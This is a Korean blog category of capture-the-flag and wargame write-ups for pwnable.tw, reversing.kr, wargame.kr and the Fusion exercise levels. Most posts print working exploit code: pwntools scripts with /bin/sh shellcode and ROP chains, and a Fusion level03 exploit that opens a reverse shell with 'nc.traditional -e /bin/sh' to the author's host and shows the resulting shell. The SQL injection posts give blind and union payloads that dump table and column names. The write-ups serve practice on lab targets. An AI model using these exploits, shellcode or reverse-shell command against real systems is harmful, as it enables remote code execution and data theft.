wargame
- pwnable.tw - start [100 pts] 2018.01.05
- reversing.kr - CSHARP 2017.10.25 1
- wargame.kr - Crypto Crackme Basic 2017.10.24
- Reversing.kr - replace 2017.10.23
- wargame.kr - web chatting (650p) 2017.09.13
- wargame.kr - Simpleboard(600) 2017.09.12
- wargame - fusion / level03 2017.02.27
- wargame - fusion / level02 2016.12.29
- wargame - fusion / level01 2016.12.28
- wargame.kr - Easy CrackMe(500p) 2016.01.11 1
- wargame.kr - fly to the moon(500p) 2016.01.07
- wargame.kr - login filtering(450) 2016.01.06
- BOF 원정대 풀이(전체) 2014.05.07 2
- www.suninatas.com 올클리어~ 2013.12.11 1
- wargame - fusion / level00 2013.09.23 2
pwnable.tw - start [100 pts]
pwnable.tw - start [ 100 pts ]
pwnable.tw 풀이 시작!! (했는데..생각보다 쉽진 않네요 ㅎㅎ )
풀이 우선으로 하고 시간날 때마다 조금씩 정리해 보려고 합니다.
100 점 짜리 시작 문제이다. 우선 코드를 살펴보자.
write 와 read 시스템콜만 존재하는 매우 간단한 프로그램이다.
문자열을 push 로 스택에 밀어넣고 write 해주고, read 로 사용자에게 입력을 받은 후 add esp, 0x14 를 통해 exit 를 호출한다.
add esp, 0x14 의 주소를 무조건 호출하고 있기 때문에 read 를 통해 해당 주소까지 값을 입력해주면 원하는 주소로 eip 를 변경해줄 수 있다.
0x41414141 로 EIP 를 변조했으니 이제 원하는 코드를 실행시킬 수 있다. 보호기법은 없지만 스택주소가 랜덤으로 바뀌기 때문에 jmp esp 를 쓰거나 또는 leak 을 해야 한다.
gdb-peda$ asmsearch "jmp esp"
Searching for ASM code: 'jmp esp' in: binary ranges
Not found
jmp esp 는 없으니 mov 를 이용해 leak 을 하자.
gdb-peda$ asmsearch "mov ?,esp"
Searching for ASM code: 'mov ?,esp' in: binary ranges
0x08048087 : (89e1) mov ecx,esp
해당 코드는 write 직전의 코드이기 때문에 결국 esp 를 ecx 에 넣고 write 콜을 해서 스택 주소를 leak 할 수 있다.
그리고 또 이어서 아래의 read 를 통해 두번째 입력을 해 줄 수 있다.
이제 릭을 해온 스택 주소를 이용해서 버퍼주소로 ret 를 덮어주면 공격에 성공할 수 있다.
# ex_start.py
#!/usr/bin/python from pwn import * # set context context(arch='i386',os='linux') # print info log.info("[*] pwnable.tw (start) exploit by hyunmini") # load and connect #r = remote("127.0.0.1",8000) r = remote("chall.pwnable.tw",10000) e = ELF('./start') rop = ROP(e) ### stage 0. leak stack addr log.info(" stage 0. leak stack address") leakgadget = p32(0x8048087) # mov ecx, esp / write syscall => leak stack addr payload0 = asm('nop')*20 payload0 += leakgadget r.recvuntil(':') r.send(payload0) leakaddr = u32(r.recv(4)) log.success(" leak addr : 0x"+hex(leakaddr)) ### stage 1. exploit log.info(" stage 1. exploit!") # make payload #shellcode = asm(shellcraft.dupsh(4)) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload1 = asm('nop')*20 payload1 += p32(leakaddr+20) payload1 += shellcode r.sendline(payload1) log.success(" [+] Success!! got shell") r.interactive()
끝~
reversing.kr - CSHARP
reversing.kr CSHARP
C# 리버싱 문제다. 근데 툴로 디컴파일이 제대로 안된다. 쉽게 풀지 못하도록 해 둔 듯 하다.
이 말은 반대로 디컴파일이 제대로 되지 않는 함수만 분석하면 된다는 뜻과 같다.
보통 이런 문제는 동적 호출 등으로 실행 중에는 보여지도록 하는 경우가 많으니 디버깅을 하면서 살펴보려 했으나...
해당 함수가 호출도 안되고 디버깅이 제대로 되지 않아 처음에 사알짝 헤맸다.
자세히 살펴보니 method reflection (동적 호출) 을 하고 있어 디버깅이 되지 않는 것으로 확인했다.
.ctors 를 살펴보니 동적 호출하는 함수의 특정 바이트를 조작해주는 부분이 있었다.
이 부분에 브레이크 포인트를 걸고 확인해 보자. 디컴파일이 되지 않던 메소드(MetMett, 동적으로는 Form1.bb) 의 바이트들을 전부 바꿔주는 것을 확인할 수 있다.
dnspy 에서는 어셈으로만 바꿔줄 수 있고 바이트 코드를 바로 고칠수가 없어서 그냥 헥스에디터 열어서 직접 바이트를 고쳐줬다.
위는 고치기 전, 아래는 바이트 코드를 실제 동적으로 수행되는 코드로 변경해준 상태.(디컴파일 잘된다 우왕)
이제 코드를 보고 키값을 코딩으로 뽑아주면 끝~
끝~!!
'wargame > reversing.kr' 카테고리의 다른 글
Reversing.kr - replace (0) | 2017.10.23 |
---|
wargame.kr - Crypto Crackme Basic
흠..점점 풀이 정리하기가 귀찮아지고 있지만..까먹으니 간략하게만 정리!
제목이 cryto 라서 살짝 겁먹었으나 몇 분 안 걸려서 풀었다. basic 이니까...
dnspy 로 디컴파일 해서 보니 소스코드는 매우 짧았다.
핵심은 저 노란줄이다. name 은 BluSH4G 여야 하고, password 는 myEncrypt 를 거친 후의 암호화된 값과 어떤 값을 비교한다.
우선 myEncrypt 를 살펴보자.
아주 깔끔하게 암호화 방식, key, iv 를 모두 보여주고 있다. DES 이니 그대로 그냥 코드만 짜면 된다.
암호화된 값과 비교하는 값을 만들어 주는 함수를 살펴보면 아래와 같이 워게임 서버에서 받아온다. n 은 name 이다.
접속해보면 아래와 같은 암호화된 값을 뿌려주는 것을 볼 수 있다. 위에서 확인한 암호화 함수를 이용하여 복호화 함수를 만들어서
아래 값을 복호화 하면 끝인듯 하다.
파이썬 몇줄로 간단하게 샤샤샥
C:\> dec.py
key is ********~~~
풀이 끝~
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
---|---|
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
Reversing.kr - replace
reversing.kr - replace 문제
reversing.kr 문제입니다. 간단하게 요점만 정리.
다이얼로그에서 사용자에게 입력값을 하나 받고, Correct 와 Incorrect 를 출력해준다.(에러 발생)
IDA로 살펴보면 어셈코드로 점프와 콜을 몇 번 해놔서 디컴파일 소스는 좀 이상하게 보인다.
한줄씩 디버거로 트레이싱 해보면, 결국 특정 코드에서 에러가 나는데, 아래처럼 특정 주소값을 0x90 으로 채우려다 에러가 난다.
주소값은 입력값 +1 을 해주면 +1 이 되는 것으로 보아, 결국 저 값으로 뭔가 조작하면 됨을 알 수 있다.
좀 더 분석해보면, correct 출력해주는 부분이 끊어져 있는데, 바로 위의 jmp 어셈블리어 때문이다.
해당 어셈블리어를 0x90(nop) 로 덮어쓰도록 해주면 답이 나온다.
계산은 12345 를 입력해 본 뒤 주소값 확인 후 0x100401071 - 0x60163604 + 12345 해주면 된다.
'wargame > reversing.kr' 카테고리의 다른 글
reversing.kr - CSHARP (1) | 2017.10.25 |
---|
wargame.kr - web chatting (650p)
이번 문제도 SQL인젝션 문제라고 한다. 역시 친절하게도 Simple SQLi (blind) 문제라고 알려준다.
채팅을 웹으로 구현해 놓았는데, 페이지 수가 2개인가 밖에 없어서 취약점은 쉽게 찾을 수 있다.
몇번 입력 후 chatview.php 페이지에 취약점이 존재함을 확인했다.
/web_chatting/chatview.php?t=1&ni=30215{인젝션} |
그런데~~ 인젝션 중 특정 조건이 되면 전체 쿼리를 다 가져오려고 시도해서 응답이 매우매우 느려진다.
(문제 힌트에서 개발자 관점으로 부하를 줄여보라는 걸 보니 일부러 그렇게 구현해 놓은듯)
잠시 고민하다가, 아래처럼 해결했다.
/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=1+then+2+else+1+end)
/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=2+then+2+else+1+end)
db 잘 가져오는걸 보니 이제 flag 가 있는 테이블만 찾으면 될 듯 하다.
테스트 해보니 ' 는 막혀있기 때문에 아래처럼 like 구문을 이용했다. mysql, information_schema 가 아닌 테이블(=사용자 테이블),칼럼명 조회
select concat(table_name,char(0x2c),column_name)
from information_schema.columns
where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and
table_schema not like 0x6d7973716c and
table_name not like 0x636861745f6c6f67 limit 1
해당 테이블을 조회하면 flag 가 들어있었다. 끝.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
wargame.kr - Simpleboard(600)
한동안 문제 안풀었더니 감이 떨어진듯 하여 문제 풀이 시작.
simpleboard
simple SQL인젝션 문제. union 인젝션이라고 대놓고 알려주는데, 스크립트가 필요할 거라고 한다.(없이 풀었..)
게시판이다. 소스를 보면 아무런 필터가 없으므로 그냥 union 인젝션이 가능하다.
idx=1 union select 1,2,3,4--
테이블명을 group_concat(table_name) 으로 이것저것 뽑아보다가 admin 관련 테이블이 없는지 확인해보려고 %adm% 을 넣었는데
readme 테이블이 얻어걸림 -_-;
escape_string 함수 때문에 ' 문자가 \' 으로 변경되므로 우회를 위해 0x7217273~~ 와 같은 식으로 써주면 된다.
-1 union select (select group_concat(column_name) from information_schema.columns where table_name like 0x726561646d6525),2,3,4--
update 쿼리에서 에러나지 않도록 cookie 체크 하는 부분에도 동일하게 넣어줘야 함. 끝.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
wargame - fusion / level03
LEVEL03
level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.
>>> print e.checksec()
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
RPATH: '/opt/fusion/lib'
FORTIFY: Enabled
소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다.
입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까
또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.
두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다.
검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다.
결론부터 말하면 while 구문 내부의 조건식이
1) src 가 널바이트가 아니고
&&
2) dest 가 end 랑 다르면
이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다.
소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서
dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고
실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.
먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1
다음은 eip 변조 테스트.
buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB" # 34 + eip
req_col = find_collision(token, buf)
r.send(req_col)
gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB66C EIP: 0x08049E08 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFDAB66C]------------------------------------------------------[stack] 0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A..... 0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............ 0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................ 0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................ 0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................ 0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............ --------------------------------------------------------------------------[code] => 0x8049e08 <handle_request+264>: ret 0x8049e09 <handle_request+265>: lea esi,[esi+eiz*1+0x0] 0x8049e10 <handle_request+272>: mov DWORD PTR [esp+0x4ac],0x80 0x8049e1b <handle_request+283>: mov DWORD PTR [esp],ebx 0x8049e1e <handle_request+286>: call 0x8048da0 <json_object_get_string@plt> 0x8049e23 <handle_request+291>: lea edx,[esp+0x4ac] 0x8049e2a <handle_request+298>: mov DWORD PTR [esp+0x8],edx 0x8049e2e <handle_request+302>: lea edx,[esp+0x42c] -------------------------------------------------------------------------------- 0x08049e08 in handle_request () at level03/level03.c:193 193 in level03/level03.c gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB670 EIP: 0x42424242 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x42424242 0x42424242 in ?? ()
정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를
이용한 rop 는 조금 제약이 있었다.
여러번 삽질 후 세운 payload 는 아래와 같다.
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 system 인자값 쓰기
memcpy(bss+4,gContents,4) // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)
3) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
은 실패했다.
실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음..
아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,
leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 srand@plt, command 쓰기
memcpy(bss, srand@plt,4)
memcpy(bss+8, gContents, len(cmd))
3) leave 를 이용하여 fake ebp
ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조
4) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop
가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.
#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"
REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)
# ./ex3_exploit.py // exploit 성공
hyunmini:solve $ nc -lv 7777
id
uid=20003 gid=20003 groups=20003
uname -a
Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level02 (0) | 2016.12.29 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame - fusion / level02
LEVEL02
level02 는 NX, ASLR 이 걸려있으며, 기본적인 난독화 및 수학 관련 문제라는 힌트가 주어진다.
NX 때문에 쉘코드를 직접 실행하기는 어려우며, ROP 를 이용해야 한다. 단순히 개인적인 정리용도의 풀이이므로 ROP 등을 정리하지는 않는다.
한줄로 설명하면 고전적인 RTL 기법을 발전시켜서 연속적인 Gadget (Ret 로 끝나는 코드 조각) 들을 실행시키는 기법이다. 최근 문제는 대부분 ROP 가 기본으로 들어가는 경우가 많다.
취약점 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | void encrypt_file() { // http://thedailywtf.com/Articles/Extensible-XML.aspx // maybe make bigger for inevitable xml-in-xml-in-xml ? unsigned char buffer[32 * 4096]; unsigned char op; size_t sz; int loop; printf("[-- Enterprise configuration file encryption service --]\n"); loop = 1; while(loop) { nread(0, &op, sizeof(op)); switch(op) { case 'E': // E 자가 입력되면 nread(0, &sz, sizeof(sz)); // 입력받을 사이즈 지정 nread(0, buffer, sz); // 내용 입력, 취약 cipher(buffer, sz); // 입력된 내용 암호화 printf("[-- encryption complete. please mention " "474bd3ad-c65b-47ab-b041-602047ab8792 to support " "staff to retrieve your file --]\n"); nwrite(1, &sz, sizeof(sz)); // 암호화 사이즈 출력 nwrite(1, buffer, sz); // 암호화 내용 출력 break; case 'Q': loop = 0; break; default: exit(EXIT_FAILURE); } } } |
취약한 부분은 encrypt_file() 내부에서 발생하며, 정확한 지점은 고정된 buffer 에 동적으로 입력값 길이를 정해서 입력받는 아래 부분이다.
nread(0, buffer, sz);
간단히 확인해보면 crash 가 발생하는 것을 확인할 수 있다.
$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | nc 192.168.231.128 20002
root@fusion:/opt/fusion/bin# dmesg | tail -2[54915.235279] level02[7797]: segfault at c754dba ip 0c754dba sp bf9d99b0 error 14[54927.307910] level02[7805]: segfault at 7ab5e3fe ip 7ab5e3fe sp bf9d99b0 error 14문제는 입력받은 버퍼를 바로 아랫줄에서 cipher(buffer, sz) 와 같이 암호화 하고 있다는 것이나, 함수를 살펴보면 간단하게 XOR 연산을 해주는 것임을 알 수 있다.key 값이 랜덤이지만, XOR 연산이기 때문에 0 과 XOR 연산을 수행하도록 해서 key 를 확인할 수 있다. 키 버퍼는 128 byte (XORSZ=32, *4) 이다. 첫번째 접속해서 128 바이트만큼 0을 입력해서 값을 받아오고, 키 버퍼를 받아온 후에 두번째 실제 payload 를 xor 해서 보내면 정상값이 들어갈 것이다.root@fusion:/opt/fusion/bin# dmesg | tail -1[55235.606684] level02[7847]: segfault at 42424242 ip 42424242 sp bf9d99b0 error 1이제 간단히 ROP 를 수행하면 된다. 아래는 전체 Exploit 코드이다.
#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level01 exploit by hyunmini"
r = remote("192.168.231.128",20002)
e = ELF('./level02')
rop = ROP(e)
print r.recvuntil('--]\n')
op_start = "E"
op_size = "\x80\x00\x00\x00"
op_end = "Q"
payload = "\x00" * 0x80
print "[+] stage 0 : recv xor_key"
r.send(op_start + op_size + payload )
print r.recvuntil('--]\n')
print "eeee"
sleep(0.2)
bufcount = r.recvuntil('\x80\x00\x00\x00')
print "[+] buf count : %d" % u32(bufcount)
xor_buf = r.recv(128)
print hexdump(xor_buf)
def xor(buf, key):
result = ''
for i, enc in enumerate(buf):
result += chr(ord(enc)^ord(key[i % len(key)]))
print "encoding (%d:%d) bytes" % (len(buf), len(result))
return result
#-------------------------------------------#
print "[+] sending rop payload..."
payload2 = "A"*0x20010
# rop chain
cmd = "/bin/sh\x00"
rop.read(0,e.bss(),len(cmd))
rop.execve(e.bss(),0,0)
ropchain = rop.chain()
payload2 += ropchain
payload2 = xor(payload2, xor_buf)
op_size = p32(len(payload2))
r.send(op_start)
r.send(op_size)
r.send(payload2)
r.send(op_end)
r.send(cmd)
print "[*] finish !!"
r.interactive()
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame - fusion / level01
LEVEL01
level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,
동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다.
주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.
[그림] 취약 함수
gdb-peda$ b *0x8049854 // 취약함수 ret 주소
gdb-peda$ set follow-fork-mode child // gdb fork() 자식 프로세스 디버깅
gdb-peda$ x/4i $eip-6
0x804984e : call 0x80489a0
0x8049853 : leave
=> 0x8049854 : ret
0x8049855 : push ebp
gdb-peda$ x/12x $esp // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c: 0x08049f4f 0x16eb9090 0x00000000 0x00000004
0xbffff33c: 0x001761e4 0x001761e4 0x000027d8 0x20544547
0xbffff34c: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ x/i 0x8049f4f // ret 실행 시 jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
0x8049f4f: jmp esp
gdb-peda$ x/4i 0xbffff32c+4 // jmp esp 후에 실행될 코드
0xbffff330: nop
0xbffff331: nop
0xbffff332: jmp 0xbffff34a
0xbffff334: add BYTE PTR [eax],al
gdb-peda$ x/4i 0xbffff34a // short jump 후 실행될 쉘코드 확인
0xbffff34a: push esp
0xbffff34b: and BYTE PTR [ecx+0x41],al
0xbffff34e: inc ecx
0xbffff34f: inc ecx
익스플로잇 코드
# ex_level01.py
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"
r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)
shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level02 (0) | 2016.12.29 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame.kr - Easy CrackMe(500p)
이번 문제는 리버싱 문제이다. 쉽다고 써있는걸 보니 쉬운가보다.
해당 바이너리는 별 특징 없는 단순한 MFC바이너리이다. MFC 바이너리는 이벤트드리븐
방식으로 동작하므로 원하는 버튼에 연결된 함수를 찾아야 한다.
리소스 해커를 통해 버튼의 리소스 번호를 찾은 뒤 메시지 구조체를 찾으면 쉽게 찾을 수 있다.
struct AFX_MSGMAP_ENTRY { uint nMessage; uint nCode; uint nID; // 리소스ID uint nLastID; // 리소스ID uint_PTR nSig; uint_PMSG pfn; // 핸들러 함수 포인터 } |
주소는 0xf16c0 임을 알 수 있다.
핸들러 함수로 가보면 3가지 정도의 조건문이 나온다.
_my_b 가 포함되어 있는지 검사
wtoi() 함수 실행 결과가 1114 인지 검사
birth 문자열이 들어있는지 검사
이 세개의 조건이 만족해야만 정답을 전송해 주는 듯 하다.
IDA로 보아도 마찬가지로 3번의 조건 검사가 존재함을 알 수 있다.
조건에 맞춰서 전송하면 끝~
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
wargame.kr - fly to the moon(500p)
이번 문제는 자바스크립트 레이싱? 게임이다. 좌우로 움직이며 31337점까지 올리면 클리어되는 문제인데,
소스 자바스크립트가 난독화 되어 있다. 사실 나는 자바스크립트를 분석하는 정공법이 아니라 아주 쉽게
편법으로 풀었는데(패킷을 살펴보고 패킷조작) 그래도 푼 뒤에 상세히 분석을 해 보았다.
위와 같이 난독화 되어 있으며, eval로 난독화 소스를 실행시켜 주고 있다.
주로 악성코드에서 많이 보이는 패턴이다.
어쨌든 이 상태로는 알아볼수가 없기 때문에 난독화 소스부터 deofuscation 해주어야 한다.
간단히 eval 대신 document.write 로 찍어보았다.
deofuscation 은 되었으나 여전히 보기 어렵다.
jsbeautifier.org 를 통해 보기 좋게 indent를 조정해서 보자.
이제 조금 알아 볼 수 있게 생겼다. 코드를 살짝 보면 게임을 시작해서 좌우측벽을 움직이고 점수를
업데이트 하는 소스코드가 보인다. 첫번째 줄에는 출력할 메시지, 소스코드 등이 섞여 있으므로
첫번째 헥스코드를 보기 좋게 다시 찍어보자. 파이썬을 이용했다.
키워드를 보니 어느정도 감이 온다. post 방식으로 ajax를 이용하여 점수를 보내는 것이라
예측이 가능하며, token.php 에서 토큰을 받아온 후 "high-scores.php?token=토큰&score=점수"
와 같은 형식으로 점수가 날아갈 것이다. 실제로 풀이는 이 점수를 바로 조작하여 보내서 클리어 했다.
하지만 조금 더 소스코드를 분석해 보도록 하자.
아래쪽을 살펴보면 전형적인 ajax 코드가 보인다. 첫번째 줄을 이용해서 난독화를 해 두었지만
위의 문자열로 치환한 것을 살펴보면 이 부분이 바로 점수를 전송하는 부분임을 알 수 있다.
함수를 조금 더 쫓아가 보면 score() 함수는 0x8618x6 변수값을 가져오는 것을 확인할 수 있다.
결론. 0x8618x6 을 31337 로 미리 변조하거나,
패킷이 전송될 때 score변수의 값을 31337 로 변조해주면 된다.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
wargame.kr - login filtering(450)
login filtering 문제는 쿼리후 PHP 비교구문에 의해 필터링 되는 것을 우회하는 문제이다. 처음에는 mysql char field 최대값 65535
오버플로우 취약점을 이용한 문제인 줄 알았으나 점수에 비해 너무 깊게 생각했다.
해당 문제는 "php 구문은 비교시 대소문자 구분한다는 것", "mysql 은 비교시 대소문자를 구분하지 않는다는 것" 이 2가지로 풀 수
있는 문제였다. id = gueST 등으로 입력하면 쿼리 결과는 참이되어 gueST가 리턴되지만 gueST == guest 는 거짓이 되어 패스워드가
출력된다.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
BOF 원정대 풀이(전체)
풀이 하면서 간략히 정리해둔 것입니다. 상세설명은 내마음대로 하고싶은 문제만 정리 (-_-ㅋ)
# bof 원정대 풀이
